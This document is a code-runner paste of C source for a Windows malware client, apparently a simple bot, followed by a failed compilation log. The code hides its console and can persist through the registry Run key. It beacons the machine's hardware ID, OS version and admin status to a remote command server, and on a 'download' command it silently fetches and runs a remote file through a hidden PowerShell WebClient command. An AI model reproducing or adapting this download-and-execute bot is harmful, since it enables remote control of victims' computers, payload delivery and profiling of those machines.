fork(5) download
  1. #include<stdio.h>
  2. #include <stdlib.h>
  3. #include<winsock2.h>
  4. #include<windows.h>
  5. #include <ws2tcpip.h>
  6. #pragma comment(lib,"ws2_32.lib") // winsock library
  7. #pragma comment(lib,"Advapi32.lib") // winsock library
  8.  
  9.  
  10. void addstartup();
  11. void adminyn(char* pc);
  12. void connect_server(SOCKET* s,char* pc,char* version); // connect to page and get
  13. void download(char* server_reply); // download and execute file
  14. void os_version(char* version);
  15. void freeme();
  16. +void computer_name(TCHAR * computername);
  17. int main()
  18. {
  19. // remove console window
  20. //freeme();
  21.  
  22. Sleep(20000); // miliseconds 1000 = 1 sec
  23. char pc[255];
  24.  
  25. // check to see if we are admin or not
  26. adminyn(pc);
  27.  
  28. // computer name
  29. TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
  30. computer_name(computername);
  31. //printf("%s",computername);
  32.  
  33. // windows version
  34. char version[50] ; // used for os_version func
  35. os_version(version);
  36.  
  37.  
  38. WSADATA WSA;
  39. SOCKET s; // our socket
  40. struct sockaddr_in server; // socket info for server
  41. char* message, server_reply[2000]; // holds mesage recv and message sent
  42. int recv_size; // bytes recived
  43. struct sockaddr_in SockAddr;// used with gethostbyname
  44.  
  45. char url[50] = "http://b...content-available-to-author-only...m.ua";
  46.  
  47. // initalise winsock library first param is version
  48. WSAStartup(MAKEWORD(2,2),&WSA);
  49.  
  50. // get IP from Url
  51. struct hostent *ip = gethostbyname(url);
  52. memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
  53. char* pIP = inet_ntoa(SockAddr.sin_addr);
  54.  
  55.  
  56. WSACleanup();
  57.  
  58. //addstartup(); // add to registry startup
  59.  
  60. while(1)
  61. {
  62. WSAStartup(MAKEWORD(2,2),&WSA); // initalise winsock library first param is version
  63.  
  64. // our socket info ipv4 tcp
  65. s = socket(AF_INET,SOCK_STREAM, 0);
  66.  
  67. // server info IP Port
  68. server.sin_addr.s_addr = inet_addr(pIP); // server ip
  69. server.sin_family = AF_INET;// IPV4
  70. server.sin_port = htons(12); // server port
  71.  
  72. //connect to server
  73. connect(s,(struct sockaddr *)&server,sizeof(server));
  74.  
  75. // checkin/send GET requqest to server
  76. connect_server(&s,pc,version);
  77.  
  78. //recv html from server
  79. recv_size = recv(s,server_reply,2000,0);
  80. //server_reply[recv_size] = '\0';
  81.  
  82. //check for download command in server reply
  83. if(strstr(server_reply, "download") != NULL)
  84. {
  85. download(server_reply);
  86. }
  87.  
  88. //clean up
  89. closesocket(s);
  90. WSACleanup();
  91. Sleep(60000); // miliseconds 1000 = 1 sec
  92. }
  93.  
  94. }
  95. void addstartup()
  96. {
  97. TCHAR path[100];
  98. GetModuleFileName(NULL,path,100);
  99. HKEY newValue;
  100. RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
  101. RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
  102. RegCloseKey(newValue);
  103. }
  104.  
  105. void adminyn(char * pc)
  106. {
  107. // function to check if program is running as admin
  108.  
  109. BOOL IsUserAnAdmin();
  110. /*++
  111. Routine Description: This routine returns TRUE if the caller's
  112. process is a member of the Administrators local group. Caller is NOT
  113. expected to be impersonating anyone and is expected to be able to
  114. open its own process and process token.
  115. Arguments: None.
  116. Return Value:
  117. TRUE - Caller has Administrators local group.
  118. FALSE - Caller does not have Administrators local group. --
  119. */
  120.  
  121. BOOL b;
  122. SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
  123. PSID AdministratorsGroup;
  124. b = AllocateAndInitializeSid(
  125. &NtAuthority,
  126. 2,
  127. SECURITY_BUILTIN_DOMAIN_RID,
  128. DOMAIN_ALIAS_RID_ADMINS,
  129. 0, 0, 0, 0, 0, 0,
  130. &AdministratorsGroup);
  131. if(b)
  132. {
  133. if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
  134. {
  135. b = FALSE;
  136. }
  137. FreeSid(AdministratorsGroup);
  138. }
  139.  
  140. if(b==FALSE)
  141. {
  142. printf("user");
  143. strcpy(pc,"user");
  144. }
  145. else if(b==TRUE)
  146. {
  147. printf("admin");
  148. strcpy(pc, "admin");
  149. }
  150. }
  151.  
  152. void connect_server(SOCKET* s,char* pc,char* version)
  153. {
  154.  
  155.  
  156. HW_PROFILE_INFO hwProfileInfo;// hwid
  157. //send data to server
  158. GetCurrentHwProfile(&hwProfileInfo);// get hwid info
  159.  
  160. // format http requests
  161. char * str1;
  162. char* str2;
  163. char* str3;
  164. char* str4;
  165. char* str5;
  166. char* str20;
  167.  
  168. str1 = hwProfileInfo.szHwProfileGuid;
  169. str2 = "GET /ghost/connect.php?hwid=";
  170. str3 = "&version=";
  171. str20= "&pc=";
  172. str4 = "&os=windows"; //variable PC should go here
  173. str5 = " HTTP/1.0\r\nHost: 127.0.0.1\r\n\r\n";
  174.  
  175. char * message2 = (char *) malloc(1 + strlen(str1)+ strlen(str2)+ strlen(str3)+ strlen(pc)+ strlen(str5) + strlen(str20)+strlen(version)+strlen(str4)+strlen(pc) );
  176.  
  177. strcpy(message2,str2);
  178. strcat(message2,str1);
  179. strcat(message2,str3);
  180. strcat(message2,version);
  181. strcat(message2,str20);
  182. strcat(message2,pc);
  183. strcat(message2,str4);
  184. strcat(message2,str5);
  185.  
  186.  
  187. // send http requests
  188. send(*s,message2,strlen(message2),0);
  189. }
  190. void download(char* server_reply)
  191. {
  192. char* p = strstr(server_reply, "download");// copy only the line with our command
  193. char* c = p+9; // strip off the word download
  194. //filter out file name
  195. char* pp = strchr(p+9,'/');// find / char
  196. char* ppp = pp;
  197. while(pp) // loop until last char found
  198. {
  199. puts(pp+1);// pp+1 strip of the / tag
  200. ppp=pp;
  201. pp = strchr(pp+1,'/'); // find / char
  202. }
  203. // make powershell download command
  204. char * str6;
  205. char* str7;
  206. char* str8;
  207. char* str9;
  208. char* str10;
  209. char* str11;
  210. char* str12;
  211.  
  212. str6 = "PowerShell (New-Object System.Net.WebClient).DownloadFile('";
  213. str7 = p+9; // url to download from
  214. str8 = "','";
  215. str9 = ppp+1; // file name
  216. str10 = "');(New-Object -com Shell.Application).ShellExecute('";
  217. str11 =ppp+1; // file name
  218. str12 = "');";
  219.  
  220. char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
  221.  
  222. strcpy(message3,str6);
  223. strcat(message3,str7);
  224. strcat(message3,str8);
  225. strcat(message3,str9);
  226. strcat(message3,str10);
  227. strcat(message3,str11);
  228. strcat(message3,str12);
  229.  
  230. //execute powerhsell command
  231. WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
  232. free(message3);
  233. }
  234. void freeme()
  235. {
  236. FreeConsole(); // removes console window/ runs program silent in background
  237. }
  238. void os_version(char* version)
  239. {
  240. OSVERSIONINFOEX info;
  241. ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
  242. info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  243.  
  244. // os version
  245. GetVersionEx(&info);
  246.  
  247. //printf("Windows version: %u.%u\n", info.dwMajorVersion, info.dwMinorVersion);
  248. if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
  249. {
  250. strcpy(version, "Windows7|Server2012");
  251.  
  252. }
  253. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
  254. {
  255. strcpy(version, "WindowsVista|server2008");
  256.  
  257. }
  258. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
  259. {
  260. strcpy(version, "Windows8|server2012");
  261.  
  262. }
  263. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
  264. {
  265. strcpy(version, "Windows8.1|Server2012R");
  266.  
  267. }
  268. else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
  269. {
  270. strcpy(version, "Windows10|Server2008");
  271.  
  272. }
  273. else
  274. {
  275. strcpy(version, "Unknown");
  276. }
  277.  
  278. }
  279.  
  280. void computer_name(TCHAR * computername)
  281. {
  282. TCHAR computernamee[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
  283. // computer name
  284. DWORD size = sizeof(computernamee) / sizeof(computernamee[0]);
  285. GetComputerName(computernamee, &size);
  286. strcpy(computername, computernamee);
  287.  
  288. }
  289.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:3:21: fatal error: winsock2.h: No such file or directory
 #include<winsock2.h>
                     ^
compilation terminated.
stdout
Standard output is empty